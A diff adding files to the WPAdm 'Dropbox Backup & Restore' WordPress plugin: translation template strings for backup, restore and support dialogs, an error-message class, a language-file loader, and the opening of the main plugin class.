+ msgid "Removing of old Backups was started"
317
+ msgstr ""
318
+
319
+ #: methods/class-wpadm-method-local-backup.php:244
320
+ msgid "Removing of old Backups was Finished"
321
+ msgstr ""
322
+
323
+ #: methods/class-wpadm-method-local-backup.php:256
324
+ msgid "Backup creation was complete successfully!"
325
+ msgstr ""
326
+
327
+ #: methods/class-wpadm-method-local-backup.php:298
328
+ #: methods/class-wpadm-method-local-backup.php:385
329
+ msgid "Skip of File "
330
+ msgstr ""
331
+
332
+ #: methods/class-wpadm-method-local-backup.php:349
333
+ #: methods/class-wpadm-method-local-backup.php:397
334
+ msgid "Skip of Folder "
335
+ msgstr ""
336
+
337
+ #: methods/class-wpadm-method-local-backup.php:362
338
+ msgid "Skip of Cache-Folder "
339
+ msgstr ""
340
+
341
+ #: methods/class-wpadm-method-local-restore.php:47
342
+ #, php-format
343
+ msgid ""
344
+ "Website \"%d\" returned an error during backup restoration: Archive of "
345
+ "Backup wasn't found \"%s\""
346
+ msgstr ""
347
+
348
+ #: methods/class-wpadm-method-local-restore.php:90
349
+ msgid "Start Restore process"
350
+ msgstr ""
351
+
352
+ #: methods/class-wpadm-method-local-restore.php:128
353
+ #, php-format
354
+ msgid ""
355
+ "Website \"%d\" returned an error during backup restoration: Part Backup is "
356
+ "not exist \"%s\" "
357
+ msgstr ""
358
+
359
+ #: methods/class-wpadm-method-local-restore.php:138
360
+ #, php-format
361
+ msgid ""
362
+ "Website \"%d\" returned an error during restore backup: Files for restore is "
363
+ "not exist, check permission your backup data or You can send to us support "
364
+ "request using \"Help\" button on plugin page."
365
+ msgstr ""
366
+
367
+ #: methods/class-wpadm-method-queue-controller.php:69
368
+ #, php-format
369
+ msgid ""
370
+ "Website \"%d\" returned an error: Command \"%com\" not found. To solve this "
371
+ "problem, we need to access the system logs of your hosting/server and/or "
372
+ "from your backup, that you tried to create or simply send to us your FTP "
373
+ "access data. You can send to us support request using \"Help\" button on "
374
+ "plugin page."
375
+ msgstr ""
376
+
377
+ #: methods/class-wpadm-method-queue-controller.php:75
378
+ #, php-format
379
+ msgid ""
380
+ "Website \"%d\" returned some unknown error during command \"%com\" was "
381
+ "running. To solve this problem, we need to access the system logs of your "
382
+ "hosting/server and/or from your backup, that you tried to create or simply "
383
+ "send to us your FTP access data. You can send to us support request using "
384
+ "\"Help\" button on plugin page."
385
+ msgstr ""
386
+
387
+ #: methods/class-wpadm-method-send-to-dropbox.php:49
388
+ msgid ""
389
+ "Not perhaps sending file: \"%file%\". If you wish make upload file, increase "
390
+ "execution time code or speed internet provider is small for upload file."
391
+ msgstr ""
392
+
393
+ #: methods/class-wpadm-method-send-to-dropbox.php:75
394
+ msgid "Start copy to Dropbox Cloud"
395
+ msgstr ""
396
+
397
+ #: methods/class-wpadm-method-send-to-dropbox.php:77
398
+ msgid "End Copy Files to Dropbox"
399
+ msgstr ""
400
+
401
+ #: methods/class-wpadm-method-send-to-dropbox.php:80
402
+ #: methods/class-wpadm-method-send-to-dropbox.php:81
403
+ msgid "Answer from Dropbox "
404
+ msgstr ""
405
+
406
+ #: methods/class-wpadm-method-update.php:16
407
+ msgid "Error to copy file "
408
+ msgstr ""
409
+
410
+ #: methods/class-wpadm-method-update.php:19
411
+ msgid "Error to extract file "
412
+ msgstr ""
413
+
414
+ #: modules/class-wpadm-core.php:223 modules/class-wpadm-core.php:228
415
+ msgid ""
416
+ "Failed to create a file, please check the permissions on the folders \"&s\"."
417
+ msgstr ""
418
+
419
+ #: modules/class-wpadm-mysqldump.php:28
420
+ msgid "MySQL Connect failed: "
421
+ msgstr ""
422
+
423
+ #: modules/class-wpadm-mysqldump.php:49
424
+ msgid "Optimize Database Tables was started"
425
+ msgstr ""
426
+
427
+ #: modules/class-wpadm-mysqldump.php:65
428
+ #, php-format
429
+ msgid "Error to Optimize Table `%s`"
430
+ msgstr ""
431
+
432
+ #: modules/class-wpadm-mysqldump.php:68
433
+ #, php-format
434
+ msgid "Optimize Table `%s` was successfully"
435
+ msgstr ""
436
+
437
+ #: modules/class-wpadm-mysqldump.php:73
438
+ msgid "Optimize Database Tables was Finished"
439
+ msgstr ""
440
+
441
+ #: modules/class-wpadm-mysqldump.php:86
442
+ msgid "MySQL of Dump was started"
443
+ msgstr ""
444
+
445
+ #: modules/class-wpadm-mysqldump.php:130
446
+ #, php-format
447
+ msgid "Add a table \"%s\" in the database dump"
448
+ msgstr ""
449
+
450
+ #: modules/class-wpadm-mysqldump.php:176
451
+ msgid "Add a table rows \"%s\" in the database dump from %from% to %to%"
452
+ msgstr ""
453
+
454
+ #: modules/class-wpadm-mysqldump.php:195
455
+ msgid "MySQL of Dump was finished"
456
+ msgstr ""
457
+
458
+ #: modules/class-wpadm-mysqldump.php:213
459
+ msgid "Restore Database was started"
460
+ msgstr ""
461
+
462
+ #: modules/class-wpadm-mysqldump.php:216 modules/class-wpadm-mysqldump.php:217
463
+ msgid "Error in open file dump"
464
+ msgstr ""
465
+
466
+ #: modules/class-wpadm-mysqldump.php:231
467
+ msgid "MySQL Error: "
468
+ msgstr ""
469
+
470
+ #: modules/class-wpadm-mysqldump.php:238
471
+ msgid "Restore Database was finished"
472
+ msgstr ""
473
+
474
+ #: template/notice.php:3
475
+ msgid "Professional version of"
476
+ msgstr ""
477
+
478
+ #: template/notice.php:4
479
+ msgid "Dropbox backup and restore\""
480
+ msgstr ""
481
+
482
+ #: template/notice.php:4
483
+ msgid "Dropbox backup and restore"
484
+ msgstr ""
485
+
486
+ #: template/notice.php:5
487
+ msgid " plugin is now available!"
488
+ msgstr ""
489
+
490
+ #: template/notice.php:6
491
+ msgid "Read more..."
492
+ msgstr ""
493
+
494
+ #: template/notice.php:7
495
+ msgid "hide this message"
496
+ msgstr ""
497
+
498
+ #: template/notice5.php:4
499
+ #, php-format
500
+ msgid ""
501
+ "You use Dropbox backup and restore plugin successfully for more than %s. "
502
+ "Please, leave a 5 star review for our development team, because it inspires "
503
+ "us to develop this plugin for you."
504
+ msgstr ""
505
+
506
+ #: template/notice5.php:5
507
+ msgid "Thank you!"
508
+ msgstr ""
509
+
510
+ #: template/notice5.php:7
511
+ msgid "Leave review"
512
+ msgstr ""
513
+
514
+ #: template/notice5.php:8
515
+ msgid "I already left a review"
516
+ msgstr ""
517
+
518
+ #: template/notice5.php:9
519
+ msgid "Hide this message"
520
+ msgstr ""
521
+
522
+ #: template/wpadm_show_backup.php:28 template/wpadm_show_backup.php:45
523
+ msgid "Hide"
524
+ msgstr ""
525
+
526
+ #: template/wpadm_show_backup.php:34 template/wpadm_show_backup.php:51
527
+ #: template/wpadm_show_backup.php:1025 template/wpadm_show_backup.php:1121
528
+ msgid "Show"
529
+ msgstr ""
530
+
531
+ #: template/wpadm_show_backup.php:177 template/wpadm_show_backup.php:237
532
+ msgid "Dropbox Backup was created successfully"
533
+ msgstr ""
534
+
535
+ #: template/wpadm_show_backup.php:181 template/wpadm_show_backup.php:241
536
+ msgid "Dropbox Backup wasn't created. "
537
+ msgstr ""
538
+
539
+ #: template/wpadm_show_backup.php:227
540
+ msgid "Local Backup was created successfully"
541
+ msgstr ""
542
+
543
+ #: template/wpadm_show_backup.php:231
544
+ msgid "Local Backup wasn't created"
545
+ msgstr ""
546
+
547
+ #: template/wpadm_show_backup.php:249 template/wpadm_show_backup.php:1248
548
+ msgid "Successful"
549
+ msgstr ""
550
+
551
+ #: template/wpadm_show_backup.php:254 template/wpadm_show_backup.php:1255
552
+ msgid "Fail"
553
+ msgstr ""
554
+
555
+ #: template/wpadm_show_backup.php:254 template/wpadm_show_backup.php:1255
556
+ msgid "Show Details"
557
+ msgstr ""
558
+
559
+ #: template/wpadm_show_backup.php:255 template/wpadm_show_backup.php:1236
560
+ msgid "Not available"
561
+ msgstr ""
562
+
563
+ #: template/wpadm_show_backup.php:285 template/wpadm_show_backup.php:1259
564
+ msgid "backup"
565
+ msgstr ""
566
+
567
+ #: template/wpadm_show_backup.php:288 template/wpadm_show_backup.php:1260
568
+ msgid "Mb"
569
+ msgstr ""
570
+
571
+ #: template/wpadm_show_backup.php:291 template/wpadm_show_backup.php:1264
572
+ msgid "Restore"
573
+ msgstr ""
574
+
575
+ #: template/wpadm_show_backup.php:292 template/wpadm_show_backup.php:1266
576
+ msgid "Delete"
577
+ msgstr ""
578
+
579
+ #: template/wpadm_show_backup.php:358 template/wpadm_show_backup.php:1132
580
+ msgid "sec."
581
+ msgstr ""
582
+
583
+ #: template/wpadm_show_backup.php:381
584
+ msgid "Are you sure you want to start the recovery process?"
585
+ msgstr ""
586
+
587
+ #: template/wpadm_show_backup.php:418
588
+ #, php-format
589
+ msgid "Local Backup (%s) was restored successfully"
590
+ msgstr ""
591
+
592
+ #: template/wpadm_show_backup.php:422
593
+ #, php-format
594
+ msgid "Dropbox Backup (%s) was restored successfully"
595
+ msgstr ""
596
+
597
+ #: template/wpadm_show_backup.php:430
598
+ #, php-format
599
+ msgid "Local Backup (%s) wasn't restored"
600
+ msgstr ""
601
+
602
+ #: template/wpadm_show_backup.php:434
603
+ #, php-format
604
+ msgid "Dropbox Backup (%s) wasn't restored"
605
+ msgstr ""
606
+
607
+ #: template/wpadm_show_backup.php:541
608
+ msgid "Please, permit the pop-up windows."
609
+ msgstr ""
610
+
611
+ #: template/wpadm_show_backup.php:552 template/wpadm_show_backup.php:1071
612
+ msgid "Dropbox successfully connected:"
613
+ msgstr ""
614
+
615
+ #: template/wpadm_show_backup.php:787
616
+ msgid "Please, add your Dropbox credentials:"
617
+ msgstr ""
618
+
619
+ #: template/wpadm_show_backup.php:788
620
+ msgid "\"App key\""
621
+ msgstr ""
622
+
623
+ #: template/wpadm_show_backup.php:788
624
+ msgid "\"App secret\""
625
+ msgstr ""
626
+
627
+ #: template/wpadm_show_backup.php:789
628
+ msgid "in the Setting Form"
629
+ msgstr ""
630
+
631
+ #: template/wpadm_show_backup.php:792 template/wpadm_show_backup.php:815
632
+ #: template/wpadm_show_backup.php:894 template/wpadm_show_backup.php:1193
633
+ msgid "OK"
634
+ msgstr ""
635
+
636
+ #: template/wpadm_show_backup.php:823
637
+ msgid ""
638
+ "To solve this problem, we need to access the system logs of your hosting/"
639
+ "server and/or from your backup, <br />that you tried to create or simply "
640
+ "send to us your FTP access data."
641
+ msgstr ""
642
+
643
+ #: template/wpadm_show_backup.php:827
644
+ msgid "I want to provide your FTP access to resolve this issue quickly:"
645
+ msgstr ""
646
+
647
+ #: template/wpadm_show_backup.php:833 template/wpadm_show_backup.php:1349
648
+ msgid "FTP Host"
649
+ msgstr ""
650
+
651
+ #: template/wpadm_show_backup.php:842 template/wpadm_show_backup.php:1358
652
+ msgid "FTP User"
653
+ msgstr ""
654
+
655
+ #: template/wpadm_show_backup.php:851 template/wpadm_show_backup.php:1367
656
+ msgid "FTP Password"
657
+ msgstr ""
658
+
659
+ #: template/wpadm_show_backup.php:863 template/wpadm_show_backup.php:1379
660
+ msgid "Response Email:"
661
+ msgstr ""
662
+
663
+ #: template/wpadm_show_backup.php:877
664
+ msgid "SEND TO SUPPORT and close this window"
665
+ msgstr ""
666
+
667
+ #: template/wpadm_show_backup.php:878
668
+ msgid "Close this window WITHOUT SENDING TO SUPPORT"
669
+ msgstr ""
670
+
671
+ #: template/wpadm_show_backup.php:884
672
+ msgid "Where can I find my app key and secret?"
673
+ msgstr ""
674
+
675
+ #: template/wpadm_show_backup.php:887
676
+ msgid "You can get an API app key and secret by creating an app on the"
677
+ msgstr ""
678
+
679
+ #: template/wpadm_show_backup.php:888
680
+ msgid "app creation page"
681
+ msgstr ""
682
+
683
+ #: template/wpadm_show_backup.php:889
684
+ msgid ""
685
+ "Once you have an app created, the app key and secret will be available on "
686
+ "the app's page on the"
687
+ msgstr ""
688
+
689
+ #: template/wpadm_show_backup.php:890
690
+ msgid "App Console"
691
+ msgstr ""
692
+
693
+ #: template/wpadm_show_backup.php:891
694
+ msgid "Note that Drop-ins have app keys but no app secrets."
695
+ msgstr ""
696
+
697
+ #: template/wpadm_show_backup.php:901
698
+ msgid ""
699
+ "Use Professional version of \"Dropbox backup and restore\" plugin and get:"
700
+ msgstr ""
701
+
702
+ #: template/wpadm_show_backup.php:906
703
+ msgid "Automated Dropbox backup (Scheduled backup tasks)"
704
+ msgstr ""
705
+
706
+ #: template/wpadm_show_backup.php:912
707
+ msgid "Automated Local backup (Scheduled backup tasks)"
708
+ msgstr ""
709
+
710
+ #: template/wpadm_show_backup.php:918
711
+ msgid "Backup Status E-Mail Reporting"
712
+ msgstr ""
713
+
714
+ #: template/wpadm_show_backup.php:924
715
+ msgid ""
716
+ "Online Service \"Backup Website Manager\" (Copy, Clone or Migrate of "
717
+ "websites)"
718
+ msgstr ""
719
+
720
+ #: template/wpadm_show_backup.php:930
721
+ msgid "One Year Free Updates for PRO version"
722
+ msgstr ""
723
+
724
+ #: template/wpadm_show_backup.php:936
725
+ msgid "One Year Priority support"
726
+ msgstr ""
727
+
728
+ #: template/wpadm_show_backup.php:943
729
+ msgid "Get PRO version"
730
+ msgstr ""
731
+
732
+ #: template/wpadm_show_backup.php:953
733
+ msgid "Get PRO"
734
+ msgstr ""
735
+
736
+ #: template/wpadm_show_backup.php:965
737
+ msgid "Dropbox Full Backup"
738
+ msgstr ""
739
+
740
+ #: template/wpadm_show_backup.php:966
741
+ msgid "(files+database)"
742
+ msgstr ""
743
+
744
+ #: template/wpadm_show_backup.php:976
745
+ msgid "Free Sign Up"
746
+ msgstr ""
747
+
748
+ #: template/wpadm_show_backup.php:976
749
+ msgid "to backup more than one website..."
750
+ msgstr ""
751
+
752
+ #: template/wpadm_show_backup.php:985
753
+ msgid "E-mail"
754
+ msgstr ""
755
+
756
+ #: template/wpadm_show_backup.php:993 template/wpadm_show_backup.php:1045
757
+ msgid "Password"
758
+ msgstr ""
759
+
760
+ #: template/wpadm_show_backup.php:1001
761
+ msgid "Password confirm"
762
+ msgstr ""
763
+
764
+ #: template/wpadm_show_backup.php:1011
765
+ msgid "Register & Activate"
766
+ msgstr ""
767
+
768
+ #: template/wpadm_show_backup.php:1018
769
+ msgid "If you are NOT registered at"
770
+ msgstr ""
771
+
772
+ #: template/wpadm_show_backup.php:1018
773
+ msgid "WPAdm"
774
+ msgstr ""
775
+
776
+ #: template/wpadm_show_backup.php:1018
777
+ msgid ""
778
+ "enter your email and password to use as your Account Data for authorization "
779
+ "on WPAdm."
780
+ msgstr ""
781
+
782
+ #: template/wpadm_show_backup.php:1018
783
+ msgid "If you already have an account at"
784
+ msgstr ""
785
+
786
+ #: template/wpadm_show_backup.php:1018
787
+ msgid ""
788
+ "and you want to Sign-In, so please, enter your registered credential data "
789
+ "(email and password twice)."
790
+ msgstr ""
791
+
792
+ #: template/wpadm_show_backup.php:1033
793
+ msgid "Sign In to backup more than one website..."
794
+ msgstr ""
795
+
796
+ #: template/wpadm_show_backup.php:1042
797
+ msgid "Email"
798
+ msgstr ""
799
+
800
+ #: template/wpadm_show_backup.php:1054
801
+ msgid "set new mail"
802
+ msgstr ""
803
+
804
+ #: template/wpadm_show_backup.php:1064
805
+ msgid "Settings"
806
+ msgstr ""
807
+
808
+ #: template/wpadm_show_backup.php:1070
809
+ msgid "Connect to Dropbox"
810
+ msgstr ""
811
+
812
+ #: template/wpadm_show_backup.php:1075
813
+ msgid "Connect using my Dropbox App"
814
+ msgstr ""
815
+
816
+ #: template/wpadm_show_backup.php:1082
817
+ msgid "App key"
818
+ msgstr ""
819
+
820
+ #: template/wpadm_show_backup.php:1090
821
+ msgid "App secret"
822
+ msgstr ""
823
+
824
+ #: template/wpadm_show_backup.php:1099
825
+ msgid "Where to get App key & App secret?"
826
+ msgstr ""
827
+
828
+ #: template/wpadm_show_backup.php:1108
829
+ msgid "Appear in menu for admins only"
830
+ msgstr ""
831
+
832
+ #: template/wpadm_show_backup.php:1113
833
+ msgid "Database Optimization"
834
+ msgstr ""
835
+
836
+ #: template/wpadm_show_backup.php:1132
837
+ msgid "Please wait..."
838
+ msgstr ""
839
+
840
+ #: template/wpadm_show_backup.php:1140
841
+ msgid "++ Review ++"
842
+ msgstr ""
843
+
844
+ #: template/wpadm_show_backup.php:1141
845
+ msgid "Your review is important for us"
846
+ msgstr ""
847
+
848
+ #: template/wpadm_show_backup.php:1146
849
+ msgid "Help"
850
+ msgstr ""
851
+
852
+ #: template/wpadm_show_backup.php:1150
853
+ msgid "Create Dropbox Backup"
854
+ msgstr ""
855
+
856
+ #: template/wpadm_show_backup.php:1153
857
+ msgid "Create Local Backup"
858
+ msgstr ""
859
+
860
+ #: template/wpadm_show_backup.php:1156
861
+ msgid "Folders & files"
862
+ msgstr ""
863
+
864
+ #: template/wpadm_show_backup.php:1177
865
+ msgid "Include/Exclude of Files & Folders to backup"
866
+ msgstr ""
867
+
868
+ #: template/wpadm_show_backup.php:1179
869
+ msgid "Database of web page will be included automatically"
870
+ msgstr ""
871
+
872
+ #: template/wpadm_show_backup.php:1194
873
+ msgid "Cancel"
874
+ msgstr ""
875
+
876
+ #: template/wpadm_show_backup.php:1204
877
+ msgid "Create, Date/Time"
878
+ msgstr ""
879
+
880
+ #: template/wpadm_show_backup.php:1205
881
+ msgid "Name of Backup"
882
+ msgstr ""
883
+
884
+ #: template/wpadm_show_backup.php:1206
885
+ msgid "Archive Parts"
886
+ msgstr ""
887
+
888
+ #: template/wpadm_show_backup.php:1207
889
+ msgid "Status"
890
+ msgstr ""
891
+
892
+ #: template/wpadm_show_backup.php:1208
893
+ msgid "Type of Backup"
894
+ msgstr ""
895
+
896
+ #: template/wpadm_show_backup.php:1209
897
+ msgid "Size"
898
+ msgstr ""
899
+
900
+ #: template/wpadm_show_backup.php:1211
901
+ msgid "Action"
902
+ msgstr ""
903
+
904
+ #: template/wpadm_show_backup.php:1234
905
+ msgid "Backup in process create"
906
+ msgstr ""
907
+
908
+ #: template/wpadm_show_backup.php:1236
909
+ msgid "Why?"
910
+ msgstr ""
911
+
912
+ #: template/wpadm_show_backup.php:1251
913
+ msgid "Attention, backup creates"
914
+ msgstr ""
915
+
916
+ #: template/wpadm_show_backup.php:1312
917
+ msgid ""
918
+ "Backup is created. If you are sure that the backup down(crashed), please "
919
+ msgstr ""
920
+
921
+ #: template/wpadm_show_backup.php:1313
922
+ msgid "contact us"
923
+ msgstr ""
924
+
925
+ #: template/wpadm_show_backup.php:1338
926
+ msgid "Error log wasn't Found"
927
+ msgstr ""
928
+
929
+ #: template/wpadm_show_backup.php:1344
930
+ msgid "Please, provide your FTP access to resolve this issue quickly:"
931
+ msgstr ""
932
+
933
+ #: template/wpadm_show_backup.php:1389
934
+ msgid "Send request to support"
935
+ msgstr ""
936
+
937
+ #. Plugin Name of the plugin/theme
938
+ msgid "Dropbox Backup & Restore"
939
+ msgstr ""
940
+
941
+ #. Description of the plugin/theme
942
+ msgid ""
943
+ "Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + "
944
+ "Database) of your Web Page"
945
+ msgstr ""
libs/error.class.php ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * error
4
+ *
5
+ * 100 - mothod not exist
6
+ * 101 - error method api
7
+ * 102 - error in the received data
8
+ * 103 - error
9
+ *
10
+ * notice
11
+ * 401 - activate user
12
+ *
13
+ * success
14
+ * 201 - registaration and acivate ok
15
+ * 202 - acivate plugin ok
16
+ *
17
+ */
18
+ if ( ! class_exists("errorWPADM")) {
19
+ class errorWPADM {
20
+ private static $messages = array(
21
+ 100 => 'Method doesn\'t exist.',
22
+ 101 => 'Method has an error.',
23
+ 102 => 'Received data has an error.',
24
+ 103 => 'There is an error in plugin activation.',
25
+ 201 => 'Registration and activation was successful.',
26
+ 202 => 'Plugin activation was successful.',
27
+ 401 => 'The User at WPAdm is not activated. Please, activate you User at WPAdm-System in <url> and try again.',
28
+
29
+ );
30
+ public static function getMessage($code)
31
+ {
32
+ if (isset(self::$messages[$code])) {
33
+ return self::$messages[$code];
34
+ } else {
35
+ return "Server error: received data are invalid.";
36
+ }
37
+
38
+ }
39
+ }
40
+ }
libs/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
libs/lang.class.php ADDED
@@ -0,0 +1,106 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ if ( ! class_exists("langWPADM")) {
4
+
5
+ add_action('init', array('langWPADM', 'init'), 11 );
6
+ if (!defined('WPADM_LANG_')) {
7
+ define('WPADM_LANG_', 'wpadm_lang_');
8
+ }
9
+
10
+ class langWPADM {
11
+
12
+ public static $lang = array();
13
+
14
+ public static $lang_dir = '';
15
+
16
+ public static $lang_load = '';
17
+
18
+ public static $lang_name = '';
19
+
20
+ public static $debug = array();
21
+
22
+ private static $url = 'http://plugins.svn.wordpress.org/dropbox-backup/assets/lang/';
23
+
24
+ public static function init()
25
+ {
26
+ $lang_wp = self::getLanguageSystem();
27
+ $plugin_dir = WPAdm_Core::getPluginDir();
28
+ self::$lang_dir = $plugin_dir . '/libs/lang/';
29
+ if (isset($lang_wp)) {
30
+ //self::downloadLang();
31
+ if (file_exists(self::$lang_dir . $lang_wp . '.php')) {
32
+ require_once self::$lang_dir . $lang_wp . '.php';
33
+ self::$lang[$lang_wp] = $languag;
34
+ self::$lang_name = $lang_wp;
35
+ return true;
36
+ }
37
+ }
38
+ return false;
39
+ }
40
+ public static function get($key, $echo = true, $replace_from = false, $replace_to = false)
41
+ {
42
+ $result = '';
43
+ if(!empty($key)) {
44
+ if ( isset(self::$lang[self::$lang_name][$key]) ) {
45
+ $result = self::$lang[self::$lang_name][$key];
46
+ } else {
47
+ $result = $key;
48
+ }
49
+ }
50
+ if ($replace_from && $replace_to) {
51
+ $result = str_replace($replace_from, $replace_to, $result);
52
+ }
53
+
54
+ if ($echo) {
55
+ echo $result;
56
+ return true;
57
+ } else {
58
+ return $result;
59
+ }
60
+ }
61
+ public static function getLanguageSystem()
62
+ {
63
+ $lang_wp = get_option('WPLANG', 'en');
64
+ $lang_wp = strtolower($lang_wp);
65
+ $lang_wp = explode("_", $lang_wp);
66
+ if (isset($lang_wp[0])) {
67
+ self::$lang_load = $lang_wp[0];
68
+ return $lang_wp[0];
69
+ }
70
+ return 'en';
71
+ }
72
+ public static function downloadLang()
73
+ {
74
+ if (!empty(self::$lang_load)) {
75
+ $time = get_option(WPADM_LANG_ . 'time-update');
76
+ if ( (isset($time['check_time']) && $time['check_time'] <= time()) || !isset($time['check_time']) || !file_exists(self::$lang_dir . self::$lang_load . '.php') ) {
77
+ if (!function_exists('wp_safe_remote_get')) {
78
+ include_once ABSPATH . WPINC . '/http.php';
79
+ }
80
+ $load = wp_safe_remote_get( self::$url . self::$lang_load . '.php' );
81
+ if (isset($load['response']['code']) && $load['response']['code'] == '200') {
82
+ @preg_match("/Date create - ([0-9\.]+)/", $load['body'], $date);
83
+ if (!isset($time['date']) || $time['date'] != $date[1] || !file_exists(self::$lang_dir . self::$lang_load . '.php')) {
84
+ if (isset($date[1])) {
85
+ self::updateDate($date[1]);
86
+ } else {
87
+ self::updateDate(date('d.m.Y'));
88
+ }
89
+ file_put_contents(self::$lang_dir . self::$lang_load . '.php', $load['body']);
90
+ }
91
+ }
92
+ }
93
+ }
94
+ }
95
+ private static function updateDate($date_update)
96
+ {
97
+ $date = get_option(WPADM_LANG_ . 'time-update');
98
+ $time_update = array('date' => $date_update, 'check_time' => time() + 604800);
99
+ if ($date) {
100
+ update_option(WPADM_LANG_ . 'time-update', $time_update);
101
+ } else {
102
+ add_option(WPADM_LANG_ . 'time-update', $time_update );
103
+ }
104
+ }
105
+ }
106
+ }
libs/lang/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
libs/wpadm.server.main.class.php ADDED
@@ -0,0 +1,903 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ if (!class_exists("wpadm_class")) {
4
+
5
+ add_action('admin_post_wpadm_activate_plugin', array('wpadm_class', 'activatePlugin') );
6
+ add_action('admin_post_error_logs_check', array('wpadm_class', 'error_log_check') );
7
+ add_action('admin_post_wpadm_delete_pub_key', array('wpadm_class', 'delete_pub_key') );
8
+ add_action('wp_ajax_getDirsIncludes', array('wpadm_class', 'getDirsIncludes') );
9
+ add_action('wp_ajax_saveDirsIncludes', array('wpadm_class', 'saveDirsIncludes') );
10
+
11
+ //add_action('admin_post_wpadm_getJs', array('wpadm_class', 'getJs') );
12
+
13
+ //add_action('admin_print_scripts', array('wpadm_class', 'includeJs' ));
14
+
15
+ class wpadm_class {
16
+
17
+ protected static $result = "";
18
+ protected static $class = "";
19
+ protected static $title = "";
20
+ public static $type = "";
21
+ public static $plugin_name = "";
22
+ protected static $plugins = array('stats-counter' => '1.1',
23
+ 'wpadm_full_backup_storage' => '1.0',
24
+ 'wpadm_full_backup_s3' => '1.0',
25
+ 'ftp-backup' => '1.0',
26
+ 'dropbox-backup' => '1.2.9.7',
27
+ 'wpadm_db_backup_storage' => '1.0',
28
+ 'database-backup-amazon-s3' => '1.0',
29
+ 'wpadm_file_backup_s3' => '1.0',
30
+ 'wpadm_file_backup_ftp' => '1.0',
31
+ 'wpadm_file_backup_dropbox' => '1.0',
32
+ 'wpadm_db_backup_ftp' => '1.0',
33
+ 'wpadm_db_backup_dropbox' => '1.0',
34
+ 'wpadm_file_backup_storage' => '1.0',
35
+ );
36
+ const MIN_PASSWORD = 6;
37
+
38
+
39
+ private static $backup = "1";
40
+
41
+ private static $status = "0";
42
+
43
+ private static $error = "";
44
+
45
+ public static function setBackup($b)
46
+ {
47
+ self::$backup = $b;
48
+ }
49
+ public static function error_log_check()
50
+ {
51
+ $base_path = plugin_dir_path( dirname(__FILE__) );
52
